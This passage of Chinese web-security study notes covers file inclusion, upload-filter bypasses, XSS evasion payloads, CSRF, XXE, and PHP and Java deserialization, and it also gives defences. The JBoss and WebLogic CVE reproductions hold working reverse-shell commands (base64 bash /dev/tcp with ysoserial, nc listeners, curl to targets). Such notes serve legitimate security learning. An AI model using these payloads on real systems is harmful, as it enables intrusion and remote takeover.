    http://xxx.xxx/include.php?file=http://abc.xyz/info.txt

PHP伪协议

PHP配置:

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据

allow_url_include=Off(php5.2之后默认为Off) 规定是否允许include/require远程文件

需要开启allow_url_include才可以实现PHP伪协议代码执行

常见伪协议

  1. file:// 用于访问本地文件系统

  2. php:// 访问各个输入/输出流(I/O streams)

  3. php://filter 是一种元封装器,可以在读取文件之前对文件编码、转换、压缩、加密等

  4. php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据。

  5. data:// data伪协议是一个数据流封装器

  6. http:// https:// 允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。

  7. phar:// 可以访问zip、phar格式包内容

文件包含防御

配置文件:

在配置文件中限制访问的文件目录,比如PHP中php.ini配置open_basedir

尽量关闭allow_url_include配置

特殊字符过滤:

检查用户输入,过滤或转义含有“…/”、“…\”、“http”、“%00”,“…”,“.”,“#”等跳转目录或字符终止符、截断字符、url的输入

合法性判断:

严格过滤用户输入字符的合法性,比如文件类型、文件地址、文件内容等

白名单:

白名单限定访问文件的路径、名称及后缀名

文件上传

文件上传原理

由于对上传文件类型未过滤或过滤机制不严,导致恶意用户可以上传脚本文件,通过上传⽂件可达到控制网站权限的目的,该漏洞⼀般结合解析漏洞。 攻击者可获得网站控制权限(getshell)

网站WEB应用都有⼀些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门webshell。

利用条件

有上传功能

知道文件上传后的路径

上传后的文件可以访问

上传后的文件可以执行

multipart/form-data

multipart/form-data是一种规范,统一表达文件上传请求的格式。

  • boundary 用来分割数据

  • Content-Disposition 传递文件信息

  • Content-Type 标记文件类型

    • text/plain 文本类型

    • image/jpeg 图片格式

    • application/octet-stream 脚本类型

文件上传检测

针对与文件上传,主要分为客户端检测与服务端检测,而客户端检测可以轻易绕过,且服务端检测的方式多种多样,所以文件上传WAF多针对服务端检测。

客户端javascript校验

校验文件后缀名

服务端校验

MIME检测(content-type头检测)
文件内容检测

1.文件幻数检测

2.PHP脚本标签

3.危险函数

4.…

后缀名检测

1.黑名单

2.白名单

图片渲染

文件上传绕过

客户端验证绕过

Javascript验证后缀名
  • 禁用js(f12 f1 停用js)

  • 抓包修改后缀名

服务端验证绕过

MIME检测
  • 上传php文件,抓包修改content-type

  • 上传图片格式文件,抓包修改文件后缀名

文件幻数检测
  • 上传php的文件前面加入图片的幻术头
PHP脚本标签检测
  • PHP 短标签 <? ?>
  • PHP js风格标签 <script language=“php”></script>
后缀名黑名单
  • 后缀名大小写绕过

  • php别名:php2, php3, php4, php5, phps, pht, phtm, phtml

  • 配合”.htaccess”、”.user.ini”绕过

  • Windows命名特性

1
2
3
4
5
6
1.php:.jpg		 Upload-labs Pass - 05
1.php\x20 Upload-labs Pass - 07
1.php. Upload-labs Pass - 08
1.php::$DATA Upload-labs Pass - 09
1.php\x00 Upload-labs Pass - 12 (php<5.3.4  magic_quotes_gpc=Off)

.htaccess

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即Apache在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

  • 当前目录下所有文件解析为php

SetHandler application/x-httpd-php

  • .jpg文件解析为php

AddType application/x-httpd-php .jpg

  • 文件名含有hack的文件解析为php
1
2
3
<FilesMatch "hack">
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。

利用条件

  • 服务器使用CGI/FastCGI模式

  • 上传目录下要有可执行的php文件

图片完整性
图片马

Windows

copy /b w.jpg+hack.php shell.jpg

Mac/linux

cat shell.php >> shell.png

二次渲染绕过

GIF格式的图片绕过是最简单的,只需要上传GIF图片,将源文件和二次渲染过的文件进行比较,找出源文件中没有被修改的那段区域,在那段区域写入php代码即可。
gif图片马
https://wwe.lanzoui.com/iFSwwn53jaf
其他格式:
https://www.cnblogs.com/Linkas/p/15115240.html

利用WAF特性

大致思路,就是考虑到WAF在检测的时候,是正则常规request请求包,但是服务器中间件处理request包的时候有容错,这就造成了差异性,构造异常requests请求包,WAF就会提取不出应该提取的部分,从而绕过。

  1. 文件后缀名换行

  2. 双写filename后面的‘=’

  3. 多加一个‘filename;‘

  4. 去掉或修改Content-Disposition值

  5. Content-Disposition name filename 大小写

  6. 多个boundary

  7. %00截断

  8. 交换name和filename的顺序

文件上传防御

服务端验证绕过

  • 使用白名单限制可以上传的文件扩展而不是黑名单

  • 验证文件内容,正则匹配恶意代码

  • 对上传后的文件统一随机命名

  • 上传后的目录不能执行脚本

  • 限制.htaccess .user.ini等配置文件上传

  • php版本更新,避免出现截断漏洞

  • 避免出现文件包含漏洞

XSS

XSS原理

XSS概述

XSS即跨站脚本攻击,(Cross-Site Scripting, CSS),但是为了与层叠样式表(Cascading Style Sheets, CSS)缩写区分开来,所以命名为XSS。

XSS是一种代码注入攻击,攻击者可以在可信网页中注入恶意脚本代码,当用户访问可信网页时触发恶意脚本而被攻击。攻击对象由服务器变为用户

利用条件

  • 网站页面可传入参数,并嵌入其中

  • 该参数用户可控

  • 参数过滤不严格

利用方式

  • 获取用户的cookie。

  • 记录用户的键盘输入。

  • 获取用户浏览器信息。

  • 网站挂马,篡改网页内容。

  • XSS蠕虫。

XSS类型

反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到请求参数中。

DOM型

基于 DOM 文档对象模型的一种漏洞,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。

存储型

XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处。

Cookie和Session

Cookie是能够让网站服务器把少量文本数据存储到客户端的一种技术。

因为http协议是无状态的,web服务器无法区分请求的来源。所以web服务器需要额外的数据用于维护会话。Cookie随http请求、响应一起被传递。服务端通过set-Cookie向客户端发送需要被设置的cookie ,客户端通过Cookie头向服务器传递Cookie。他的主要作用是标识用户、维持会话。

Cookie按照在客户端中存储的位置,可分为内存cookie和硬盘cookie。内存cookie由浏览器维护,保存在内存中,浏览器关闭后就消失了,其存在的时间事短暂的。硬盘cookie保存在硬盘中,有一个过期的时间,除非用户手工清理或者到了过期的时间,否则硬盘中的cookie不会被删除,其存在时间是长期的。 所以,cookie也分持久cookie和非持久cookie。

Session

当程序需要为某个客户端的请求创建一个session时,服务器首先检查这个客户端的请求里是否已包含了一个session标识(称为SessionID),如果已包含则说明以前已经为此客户端创建过session,服务器就按照SessionID把这个session检索出来使用;如果客户端请求不包含SessionID,则为此客户端创建一个session并且生成一个与此session相关联的SessionID,这个SessionID将会在本次响应中返回给客户端保存。

Cookie与Session的共性

标识用户、维持会话。

Cookie与Session的区别

  • cookie是存在客户端的,过去与否可以在cookie生成的时候设置进去,session是放在服务器上的,过期与否取决于服务期的设定。

  • cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,如果主要考虑到安全应当使用session

  • cookie在客户端的限制是3K

  • session保存在服务端会占用性能,如果主要考虑到减轻服务器性能方面,应当使用COOKIE

跨域请求

同源策略

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型(DOM)访问另一网页上的敏感数据。

file同源:
  • 域名或IP地址

  • 子域名

  • 端口

  • 协议

Cookie同源:

不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / secure 和 http-only 标记来限定其访问性。 所以 https://localhost:8080/http://localhost:8081/ 的Cookie是共享的。

跨域访问

可跨域的标签:
<script> <script src="..."></script> 标签嵌入跨域脚本
<link> <link rel="stylesheet" href="..."> 标签嵌入CSS
<img> / <video> / <audio> <img src="..."> 嵌入多媒体资源
<frame> 和 <iframe> <iframe src="..."> 载入的任何资源
<object> <embed> 和 <applet> <object data="...”> 载入插件
@font-face font-face - CSS 引入的字体

所有具有src属性的HTML标签都是可以跨域的

其他跨域方法:
JSONP

利用<script>可以跨域的原理,而且在跨域脚本中可以直接回调当前脚本的函数

JSON
  • JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。

  • JSON是一个标记符的序列。这套标记符包含六个构造字符、字符串、数字和三个字面名。

  • JSON是一个序列化的对象或数组。

JSONP
  • JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写,它携带了json信息与回调函数名。

  • JSONP实现跨域请求的原理简单的说,就是动态创建<script>标签,然后利用<script>的src 不受同源策略约束来跨域获取数据。

  • JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。

CORS

服务器设置Access-Control-Allow-Origin HTTP响应头之后,浏览器将会允许跨域请求

document.domain

相同主域名不同子域名下的页面,可以设置document.domain让它们同域

window.name

一个窗口载入的所有页面公用一个window.name,且window.name持久存在

window.postMesage

通过监听message事件来监听信息,可跨主域名

XSS攻击

反射型XSS

•主要用于将恶意脚本附加到请求参数中。

•只在用户单击url时触发,而且只执行一次,非持久化

•常用来窃取客户端 Cookies或进行钓鱼欺骗.

•常常为通过引诱用户点击一个恶意链接来实施攻击的

DOM型XSS

DOM型XSS其实是一种特殊类型的反射型XSS, 它是基于DOM文档对象模型的一种漏洞。它们都是非持久型xss漏洞,需要诱导用户点击,但也有区别:

•反射型xss恶意参数传递给服务器,并由服务器返回,所以能够在response返回包中看到

•DOM型xss不会传递给服务器,所以返回包看不到。

存储型XSS

•恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性

•比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.

•一般出现在网站的留言、评论、日志等交互处,

XSS攻击方式

反射/DOM型

•发现http://example.com网站存在xss漏洞。

•攻击者构造xss漏洞恶意url链接,此链接可以盗取用户cookie。

•包装恶意url链接,诱导正在浏览该网站的用户A点击。

•如果用户点击,那么用户会将自己的cookie发送给攻击者。

•攻击者可以利用用户的cookie,以用户的身份登陆此网站。

存储型

•发现http://example.com网站存在xss漏洞。

•攻击者将payload注入网站,该payload会篡改网站登陆界面。

•用户A查看网站,并通过篡改后的登录表单登陆。

•用户用户名密码等信息发送给攻击者。

JSONP-XSS

如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

XSS绕过

闭合标签绕过

<textarea><title>等RCDATA标签内无法xss需要先使用</title>闭合

value等元素属性闭合

<!-- --!> <!-- -->注释闭合

绕过小括号、双引号、单引号

利用反引号``

1
<script>alert`1`</script>

编码绕过(利用实体编码、unicode编码绕过)

<img src=x onerror="alert&#x28;1&#x29;"> 属性内可以识别html实体编码

<svg><script>alert&#40;1&#41</script> <svg>遵循XML 和 SVG 的定义

混淆绕过(利用html语法不严格、容错性)

换行

缺失>闭合的标签

空格、TAB

关键字绕过

大小写绕过

编码绕过

<img src=1 onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

<svg><script>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script>

字符拼接

<img src="x" onerror="a=aler;b=t;c='(1);';eval(a+b+c)">

<script>top["al"+"ert"](1);</script>

空格绕过

利用/代替空格

<img/src="x"/onerror=alert(1);>

编码绕过(利用实体编码、unicode编码绕过)

<img src=x onerror="alert&#x28;1&#x29;"> 属性内可以识别html实体编码

<svg><script>alert&#40;1&#41</script> <svg>遵循XML 和 SVG 的定义

利用eval等方法绕过

1
2
3
4
<script>eval.call`${'alert\x281)'}`</script>

<script>prompt.call`${1}`</script>
img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

可控点在标签内部的绕过

当某个可控点在标签内部,那么可以利用事件绕过

<img src=1 onerror=alert(1)>

<a href=1 onclick=alert(1)>

标签属性支持javascript:协议

<iframe src=javascript:alert(1);>

<a href=javascript:alert(1)>

XSS防御

对输入和URL参数进行过滤

•限制输入数据长度

•对输入数据格式进行验证(纯数字、符合邮箱、用户名格式)

•过滤、删除危险字符

对输出进行编码

•php使用htmlspeicalchars()函数,输出实体编码

设置HttpOnly 防止cookie被js盗取

•session.cookie_httponly=1

设置CSP

•CSP:Content Security Policy(内容安全策略),其旨在减少跨站脚本攻击。由开发者定义一些安全性的策略声明,来指定可信的内容

CSRF

CSRF原理

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

利用条件:

•登录受信任网站A,并在本地生成Cookie。

•在不登出A的情况下,访问危险网站B。

利用方法:

•盗取身份发送邮件、消息、空间说说

•盗取身份进行虚拟货币转账

•修改账户信息

XSS:

向网站注入代码,实现网页跳转,获取用户信息等操作,用户运行了恶意网站注入脚本,即收到XSS攻击。

CSRF:

利用各种手段(常为XSS),冒充用户发起违背用户意愿的请求,用户被迫向网站发起敏感操作请求,即收到CSRF攻击

CSRF特点

攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。

攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。

整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。

可以用各种方式:

结合XSS

get:恶意链接

post:恶意Form表单

CSRF攻击

CSRF防御

阻止不明外域的访问

同源检测

设置Samesite Cookie

提交时要求附加本域才能获取的信息

CSRF Token

前面讲到CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。

所以CSRFToken不能通过cookie的形式接收、发送:

设置csrftoken的http头发送

利用post/get形式发送

设置验证码

既然攻击者只能盗取客户身份发送请求,那么可以通过增加网站的验证手段,例如增加图形验证码或短信验证码等等,只有通过验证的请求才算合法。

双重Cookie验证

也可以利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。

在用户访问网站页面时,通过set-cookie获取一个csrftoken例如:
csrfcookie=v8g9e4ksfhw

在每次发起请求时,取出Cookie,并添加到URL的参数中例如:
https://www.a.com/comment?csrfcookie=v8g9e4ksfhw。

后端接口验证Cookie中的csrfcookie值与URL参数中的值是否一致,不一致则拒绝。

CSRF绕过

Origin & Referer Bypass

  • 表单设置Origin 为 Null值绕过

  • 移除referer字段

    • http和https之间的跳转

    • 不同协议之间跳转,比如利用data协议

    • <meta name ="referrer"content ="no-referrer">

  • 利用正则缺陷
    aaa.com aaa.com.hack.com hack.com/aaa.com

Token Bypass

  • 利用后端逻辑错误

    • 使用另一个session的CSRF token
      应用程序可能只是检查token是否合法,但是不检查token是否确实归属于当前用户。如果是这种情况的话,你可以在payload中硬编码一个合法有效的token即可。

    • 删除token参数或发送空token
      不发送token也可以正常请求数据是因为这种逻辑错误在应用程序中非常常见:应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性。这种情况下,如果一个请求不包含token或者token值为空,那么也是有可能绕过CSRF的防御的。

  • 猜解预测token

  • 从html中提取token

XXE

XML语言

XML

XML 指可扩展标记语言(Extensible Markup Language),是一种很像HTML的标记语言。被设计用来传输和存储数据。因此,两个采用不同技术的系统可以通过XML进行通信和交换数据。XML和JSON 是现今互联网中最常用的两种数据交换格式。

PHP

SimpleXMLElement

simplexml_load_string

JAVA

Java中用于解析XML的技术很多,主流的有DOM、SAX、JDOM、DOM4j

Python

Python 有三种方法解析 XML:SAX、DOM、 ElementTree

XML语法

•XML 文档必须有一个根元素

•XML 元素都必须有一个关闭标签

•XML 标签对大小敏感

•XML 元素必须被正确的嵌套

•XML 属性值必须加引号

XXE攻击

漏洞原理

XXE漏洞是在对的外部实体数据进行处理时引发的安全问题

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、SSRF、发起Dos攻击等危害。

触发点

往往是可以上传、读取xml数据的位置,没有对xml文档内容进行过滤,导致可上传、读取恶意xml数据。

利用方式

文件读取

利用file://协议

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<note>
<heading>&file;</heading>
</note>
命令执行

php的expect:// 协议可以用来执行命令

为了使用 expect:// 封装器,必须安装 » PECL 上的 » Expect 扩展。

SSRF

通过回显时间、回显长度判断端口是否开放

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "http://10.211.55.5:80">
]>
<note>
<info>&xxe;</info>
</note>
DOS拒绝服务攻击

XXE防御

配置XML处理器使用禁用DTD、禁止外部实体解析

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=**False**))

通过黑名单过滤用户提交的XML数据

PHP反序列化

PHP类与对象

PHP序列化

序列化与反序列化

序列化 serialize(),是指将一个实例化的变量、数组、对象等结构从一个实例转换为一个简短的序列化字符串,这样便于保存对象,可以将序列化字节存储到数据库或者文本当中。

反序列化 unserialize(),当需要调用一个序列化的对象的时候,可以通过反序列化方法直接调用 序列化字符串解析获取保存的对象,而不需要重新实例化一个类。

魔术方法

当PHP在进行序列化、反序列化、访问对象操作的时候,会自动调用一些方法,这些被自动调用的方法,被称为魔术方法,通常以__作为方法名前缀

__construct() 对象创建(new)时会自动调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 在对象上下文中调用不可访问的方法时触发

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 用于将数据写入不可访问的属性

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发

__invoke() 当脚本尝试将对象调用为函数时触发

__autoload() 在代码中当调用不存在的类时会自动调用该方法

PHP反序列化漏洞利用

漏洞产生原因

因为在反序列化过程中,可以任意修改类的属性值,所以如果未对输入的序列化字符串进行检测,就会导致攻击者可以控制反序列化过程,构造属性自定义的序列化对象,如果这些对象被魔术方法调用,就可能导致代码执行,SQL注入,目录遍历等不可控后果。

phar的反序列化

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件

•phar归档文件可以方便地将多个文件打包为一个文件。

•phar提供了一种将完整的PHP应用程序打包到单个文件中,并从该文件运行它们的方法。

stub phar文件标识

•格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

•a manifest describing the contents

•phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

•the file contents

•被压缩文件的内容。

•[optional] a signature for verifying Phar integrity

•签名,放在文件末尾

phar的反序列化

•phar文件要能够上传到服务器端。

•文件操作函数的参数可控

•可以使用phar://伪协议

Session反序列化 反序列化引擎差异性造成的漏洞

PHP中的Session的实现是没有的问题的,危害主要是由于程序员的Session使用不当而引起的。

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储, session.serialize_handler定义的引擎有三种,如下表所示

image-20220609222305487

如果设置的session序列化选择器与默认的不同的话就可能会产生漏洞(会导致数据无法正确的反序列化)

JAVA反序列化

JAVA序列化

序列化原理

Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

一个类的对象要想序列化成功,必须满足两个条件:

  1. 该类必须实现 java.io.Serializable 接口。

  2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

序列化方法

java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中

反序列化方法

java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回

Java反序列化漏洞

Java反序列化漏洞成因

序列化和反序列化本身并不存在问题。但当暴露或间接暴露反序列化 API ,导致用户可以操作传入数据。攻击者可以精心构造反序列化对象并执行恶意代码,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

反序列化应用场景

1.HTTP,多平台之间的通信,管理中请求的参数

2.RMI, Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的Java远程方法调用,在RMI中传输的数据皆为序列化,Java RMI 的默认端口是 1099 端口。

3.JMX, JMX是一套标准的代理和服务,用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,WebLogic 的管理页面就是基于 JMX 开发的,而 JBoss 则整个系统都基于 JMX 构架。

readObject()方法

特地提到这个方法是因为在反序列化漏洞中它起到了关键作用,readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行

重写readObject()

JAVA中执行系统命令的方法,通过执行Runtime.getRuntime().exec()函数执行命令。

将命令执行函数写进readObject()

反射链

当然了,刚刚是一个非常极端的例子,在真实场景中,在反序列化操作的过程中,某个类调用了readObject()方法,大概不会有人真的在readObject()中写入一段可控命令执行的代码。但是一般会有其他的代码逻辑,如果它的代码逻辑的某个分支可控,或者某个分支触发的其他函数可控,那么就极可能造成java反序列化漏洞,比如说反射链。

Java反射

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

其实在Java中定义的一个类本身也是一个对象,即java.lang.Class类的实例,这个实例称为类对象

1.类对象表示正在运行的 Java 应用程序中的类和接口

2.类对象没有公共构造方法,由 Java 虚拟机自动构造

3.类对象用于提供类本身的信息,比如有几种构造方法, 有多少属性,有哪些普通方法

4.要得到类的方法和属性,首先就要得到该类对象

ysoserial

ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。可以通过这个工具生成各种Java反序列化链的payloads

Java开发过程中常使用一些公共库。比如说Apache Commons Collections但也有很多能够利用的反射链(CC链)

漏洞及复现

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

JBoss是一套开源的企业级Java中间件系统

复现

由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化,如果漏洞存在可以访问到这个链接,并获取JMXInvokerServlet:

http://192.168.228.154:8080/invoker/JMXInvokerServlet/

  1. 使用ysoserial来复现生成序列化数据
    java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}” >poc.ser Vulhub使用的Java版本较新,CommonsCollections5、6、7都可以(base部分自己修改IP端口)

  2. Nc监听本机端口
    nc -lvvp 4444

  3. 利用curl将payload发送给漏洞入口
    curl http://ip:8080/invoker/readonly --data-binary @poc.ser

JBoss AS <=4.x 反序列化漏洞(CVE-2017-7504)

复现

HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层,默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用。它不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码。存在漏洞jboss以下路径一定是可以访问的:

http://192.168.228.154:8080/jbossmq-httpil/HTTPServerILServlet/

  1. 使用ysoserial来复现生成序列化数据
    java -jar ysoserial.jar CommonsCollections6 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}” >poc.ser Vulhub使用的Java版本较新,CommonsCollections5、6、7都可以(base部分自己修改IP端口)

  2. Nc监听本机端口
    nc -lvvp 4444

  3. 利用curl将payload发送给漏洞入口
    curl http://118.178.243.60:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

复现

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了反序列化

  1. 使用ysoserial来复现生成序列化数据
    java -jar ysoserial.jar CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}” >poc.ser Vulhub使用的Java版本较新,CommonsCollections5、6、7都可以(base部分自己修改IP端口)

  2. Nc监听本机端口
    nc -lvvp 4444

  3. 利用curl将payload发送给漏洞入口
    curl http://ip:8080/invoker/readonly --data-binary @poc.ser

Fastjson <=1.2.47 反序列化漏洞(CNVD-2019-22238)

Weblogic T3反序列化漏洞(CVE-2018-2628)

复现

其基本原理是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。

利用工具:https://github.com/Lighird/CVE-2018-2628

  1. 利用脚本生成payload,修改ip为vps ip
    java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 ip:9999 | xxd -p | tr -d $‘\n’ && echo

  2. 将payload写入weblogic_poc.py,修改dip、dport为靶机ip端口

  3. 启动JRMP,设置反弹shell命令
    java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}’

  4. 另起一窗口,监听4444端口,运行weblogic_poc.py
    nc –lvvp 4444

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

WebLogic的WLS Security组件对外提供WebService服务,其中使用XMLDecoder来解析XML格式数据,其存在反序列化漏洞,从而导致RCE。

触发地址:

/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

Apache Shiro 反序列化漏洞(CVE-2016-4437)

复现

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

利用工具:https://github.com/insightglacier/Shiro_exploit

访问/doLogin,勾选rememberme抓登陆的request包,修改cookie为rememberMe=1发送:

SSRF

SSRF原理

SSRF

Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

漏洞成因

漏洞形成的原因大多是因为服务端提供,从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。而且在大部分的web架构中服务器自身是可以访问互联网服务和所在内网资源,此时攻击者就可以传入任意地址(内网地址)来让服务器发起请求,并返回数据,进而造成SSRF攻击。

利用方式

1.扫描内网ip、端口,探测主机端口存活,获取banner信息。

2.攻击运行本地运行的应用程序

3.攻击内网服务(mysql、redis)

4.攻击内网web服务

5.利用file协议读取本地文件

出现位置

•社交分享功能:获取超链接的标题等内容进行显示

•转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

•在线翻译:给网址翻译对应网页的内容

•图片文章加载/下载/收藏:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片

•云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试邮件系统:比如接收邮件服务器地址

漏洞相关函数

file_get_contents()

将整个文件或一个url所指向的文件读入一个字符串中。

readfile()

输出一个文件的内容。

fsockopen()

打开一个网络连接或者一个Unix 套接字连接。

curl_exec()

初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

fopen()

打开一个文件文件或者 URL。

漏洞相关协议

http

file

在有回显的情况下,利用 file 协议可以读取任意文件的内容

dict

泄露安装软件版本信息,查看端口,操作内网redis服务等

gophar

gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

SSRF攻击

ssrf常用协议-http

存在如下页面flag.php模拟内网web业务:

可见不能够直接访问,但是可以

利用ssrf访问到内网资源获取flag

ssrf常用协议-file

本地文件传输协议 ,主要用于访问本地计算机中的文件,ssrf中可以用来读取本地敏感文件,如/etc/passwd、/etc/hosts等

ssrf常用协议-dict

